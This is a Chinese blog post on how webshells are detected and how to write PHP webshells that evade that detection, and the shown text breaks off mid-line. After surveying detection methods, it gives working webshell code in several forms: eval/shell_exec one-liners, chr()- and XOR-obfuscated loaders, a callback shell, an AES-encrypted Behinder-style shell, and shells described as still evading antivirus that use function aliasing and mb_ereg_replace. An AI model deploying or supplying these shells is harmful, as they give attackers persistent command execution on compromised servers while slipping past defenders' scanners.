最近看了很多关于webshell的文章,真的是觉得受益匪浅。于是产生想写一篇属于自己文章的想法,本文很多地方加入了自己的思考,并且干货满满。希望大家可以关注我的专栏。
既然我们要研究一下子webshell免杀。
首先应该思考的问题是检测引擎是如何查杀我们的webshell。
webshell是如何被检测出来的?
正所谓,知己知彼百战百胜。要想写一个免杀的webshell出来,你就必须知道你的webshell是如何被查杀掉的?
基于流量和字符特征的检测
既然是字符特征,首先就是对于一些危险函数的检测
system : system()函数将命令作为参数,并输出结果。
exec : exec()功能是将命令作为参数,但不输出结果。如果指定了第二个可选参数,则返回结果为数组。否则,如果回显,只显示结果的最后一行。
shell_exec : shell_exec()函数类似于exec(),但是,其整个输出结果为字符串。
passthru : passthru()执行一个命令并返回原始格式的输出。
proc_open : proc_open()函数可能很难理解。简单地说,我们可以使用proc_open(),创建一个处理程序(流程),实现脚本和要运行的程序之间的通信。
倒引号 : 很多PHP开发人员并没有意识到这一点,但是PHP会首先执行shell命令中倒引号(`)内的内容。请注意,倒引号(`)和单引号(’)不同。
popen ,curl_exec,curl_multi_exec,parse_ini_file,show_source等。
在返回包中检测特殊字符
root或者是其他一些敏感字符串passwd等等
基于文件特征
主要基于HASH的匹配,取决于样本的捕捉能力及形成特征列表的数量,还是会出现漏报问题。
这里会对上传上来的文件进行分片处理,之后会对每一个片段进行hash计算,在得到所有片段的hash值后会和之前有的特征列表库进行对比。如果符合某个相似度的要求就认为该文件为webshell。
基于AST语义分析
为了弥补统计特征的不足,进一步深化,进行语法检测,关注于每个函数和参数,这种方式精确,误报较少。但是对于PHP这种动态特性很多的语言,检测就比较吃力,AST是无法了解语义的。
其实这一部分有点类似于代码审计,核心问题就是找到那些可疑的函数。有经验的安全人员可能脑海里就有一个表,这个表里放满了各种函数,有点类似于黑名单。在找到函数调用的代码时,如果发现函数名在黑名单中,就认为这是一个“敏感”函数,再执行后续判断;如果函数名不在黑名单中,那么后续的判断也就不用继续了。但是这个名单必须得大而全,而且得考虑很多特殊情况。
动/静态符号执行
实际是就是去发现没有过滤或者过滤不完全的可控变量,一但存在用户可以控制的代码逻辑,那么危险系数就很高了。
机器学习
这个需要大量的webshell样本训练,目前来看效果可能还是不太好。而有些算法可解释性比较差,不利于运营。而且存在大量误报的可能。
终极检测引擎Rasp
在2014年的时候,Gartner引入了“Runtime application self-protection”一词,简称为RASP。它是一种新型应用安全保护技术,它将保护程序像疫苗一样注入到应用程序中,应用程序融为一体,能实时检测和阻断安全攻击,使应用程序具备自我保护能力,当应用程序遭受到实际攻击伤害,就可以自动对其进行防御,而不需要进行人工干预。
RASP技术可以快速的将安全防御功能整合到正在运行的应用程序中,它拦截从应用程序到系统的所有调用,确保它们是安全的,并直接在应用程序内验证数据请求。Web和非Web应用程序都可以通过RASP进行保护。该技术不会影响应用程序的设计,因为RASP的检测和保护功能是在应用程序运行的系统上运行的。
这里我对以上几种方法总结为四个点:
1.分析统计内容:这里我们可以结合黑名单或者其他特征列表,例如代码片段的hash特征列表。之后通过对文件信息熵、元字符、特殊字符串频率等统计方式发现WebShell。
2.语义分析:这里我们把代码转换成AST语法树,之后可以对一些函数进行调试追踪,那些混淆或者变形过的webshell基本都能被检测到。代码审计常常会使用这种方法。
3.机器学习:这种方法需要大量的样本数据,通过一些学习模型,总结归类webshell的特征库,最终去检测webshell。
4.动态监控:采用RASP方式,这里就是一但检测到有脚本运行起来了就去监控里边或者叫hook一些危险函数,一但存在调用过程将会立刻阻止。这种阻止效果是实时的,这种方法应该是效果最好的,但是成本也十分的高昂。
如何写一个免杀的webshell?
webshell的演变史
初代webshell
<?php echo shell_exec($_GET['cmd']);?>
<?php @eval($_POST['xssle']);?>
这种webshell基本是属于被秒杀的存在,可能你还没上传呢,自己就嘀咕了,这种肯定不行吧,还是算了不测这个了。
一代webshell
既然上边的webshell被检测到了,那我们变换一下形势可以,对关键函数进行拼接,旋转,加密解密的手法进行隐藏。
<?php
$a = 'ev'."al";
@$a($_POST['xssle']);
?>
<?php
$a = 'ass'.$_GET[i];
@$a($_POST['xssle']);
?>
<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();
?>
<?php $a=md5('a').'<br>'; $poc=substr($a,14,1).chr(115).chr(115).substr($a,22,1).chr(114).chr(116); $poc($_GET['a']); ?>
二代webshell
回调型webshell,这种webshell看上去像是没有什么危害的但是如果用户输入assert的话,就构成了webshell。
<?php usort($_POST[1], $_POST[xssle]);
?>
冰蝎webshell
冰蝎的webshell的设置了加密秘钥,并且对shell的通信内容也进行了加密,关于冰蝎的加密流量其实我之前的文章中是有分析过的。
<?php session_start(); if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key; } else { $key=$_SESSION['k']; $decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key); $arr=explode('|',$decrptContent); $func=$arr[0]; $params=$arr[1]; $func($params); } ?>
webshell-venom
该类webshell主要是利用了异或操作,不过现在该webshell已经被d盾收录进去了。
<?php class TIPD{ function AJZN(){ $upf='Q'^"\x30"; $imp='R'^"\x21"; $rec='u'^"\x6"; $yba='/'^"\x4a"; $ebi=':'^"\x48"; $pvu='D'^"\x30"; $VDMX=$upf.$imp.$rec.$yba.$ebi.$pvu; return $VDMX;}function __destruct(){ $UNOF=$this->AJZN(); @$UNOF($this->FJ);}} $tipd=new TIPD(); @$tipd->FJ=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6']; ?>
那么重头戏来了
依然可以免杀的webshell
免杀shell1
该免杀shell利用类中的静态函数,还用到了变量替换,这个例子在文章后半部分会详细讲。
<?php class Test{ public static function a(){ $a = base64_decode/*/\*/($_POST/*\*/['a']); return $a; } } $func = 'a'; $classname = 'Test'; $a =$classname::$func(); eval/*\/*/($a); ?>
免杀shell2
php在5.3版本的时候就已经开始支持对于类的命名空间了,对于函数的命名空间是在5.6版本引入的。
所以在5.6之后我们可以使用use function a as b来导入函数a。在功能上就相当于给函数a起了一个别名。
注意:经过我的测试use function \assert as test;这种形式的别名在类中和函数中是不生效的。
<?php use function \assert as test; test($_POST[2333]); ?>
免杀shell3
preg_replace的/e模式用来执行代码,想必大家已经很熟悉了。但是他的兄弟姐妹mb_ereg_replace、mb_eregi_replace大家可能不太熟悉,其实它两的用法和第一个基本一样,支持传入e
模式的正则表达式,进而执行任意代码;php在7版本已经delete了preg_replace的/e模式。但是mb_ereg_replace在7.3以下版本依然可以使用。
<?php mbereg_replace('.*', '\0', $_REQUEST[2333], 'mer'); ?>
结合免杀shell2
&l